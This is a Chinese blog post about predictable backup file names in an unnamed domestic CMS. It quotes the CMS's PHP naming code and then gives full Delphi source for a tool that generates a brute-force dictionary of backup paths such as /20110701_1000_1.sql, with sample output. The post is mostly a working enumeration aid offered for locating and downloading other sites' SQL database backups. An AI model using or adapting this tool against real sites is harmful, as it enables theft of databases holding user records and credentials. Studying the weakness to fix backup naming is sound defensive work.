关于国内某CMS系统备份文件命名规则产生的爆破字典挫码

其实也就想写出来。所以命名没有注意。，但是懒得改。很乱，将就着吧- -。表示其实你们可以边看边骂，我无所谓。

由于某CMS备份数据库的时候命名太过于挫。因此产生的备份文件可以通过穷举路径把它找出来。其实代码我都看不下去了。太特么乱了。但是博客好久没写了，哥其实是黔驴技穷了才拿它顶事。

首先先看下那个破CMS的备份代码把。

	public function insertsql(){
//...省略一堆无关代码...
		$random = mt_rand(1000, 9999);
//...省略一堆无关代码...
			$filename = $file.date('Ymd').'_'.$random.'_'.$p.'.sql';
//...省略一堆无关代码...
    }

看出问题了吗 - -。里面的变量$p是备份文件序号，而每次备份至少有一个文件。所以$p 等于1的情况是绝对每次都有的。所以要穷举出某天的备份 最多只要9999-1000次。于是产生了如下。

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    edt1: TEdit;
    btn1: TButton;
    edt4: TEdit;
    edt5: TEdit;
    edt6: TEdit;
    edt7: TEdit;
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

const
  arrMonth : array[0..11] of integer=(31,29,31,30,31,30,31,31,30,31,30,31);

implementation

{$R *.dfm}

function addEx(i:Integer):string;
begin
  if i<10 then Result := '0'+inttostr(i)
  else Result := inttostr(i);
end;

procedure TForm1.btn1Click(Sender: TObject);
var
  fDateFile: TextFile;
  i,j,x,iStart,iEnd,iStart2,iEnd2,iStart3,iEnd3: Integer;       //20120705_3269_12.sql
  sExWord,sExWord2,sNewWord: string;
begin
  AssignFile(fDateFile,'c:\data370.dic');
  Rewrite(fDateFile);
//  iStart  := StrToInt(edt2.Text);
//  iEnd    := StrToInt(edt3.Text);
  iStart2 := StrToInt(edt4.Text);
  iEnd2   := StrToInt(edt5.Text);
  iStart3 := StrToInt(edt6.Text);
  iEnd3   := StrToInt(edt7.Text);
  for x:=iStart3 to iEnd3 do
  begin
      sExWord := edt1.Text; //这里是年份。
      sExWord := '/' + sExWord + addEx(x); //不够10的补个0
      iEnd := arrMonth[x-1];
    for i:=1 to iEnd do
    begin
      sExWord2 := sExWord + addEx(i)+'_';
      for j:=iStart2 to iEnd2 do
      begin
        sNewWord := sExWord2 + IntToStr(j)+'_1.sql';
        Writeln(fDateFile,sNewWord);
      end;
    end;
  end;
  showmessage('ok');
  CloseFile(fDateFile);
end;

end.

以上生成下面类似的字典

/20110701_1000_1.sql

/20110701_1001_1.sql

/20110701_1002_1.sql

...

/20110701_9999_1.sql

/20110702_1000_1.sql

/20110702_1001_1.sql

/20110702_1002_1.sql

...

/20110702_9999_1.sql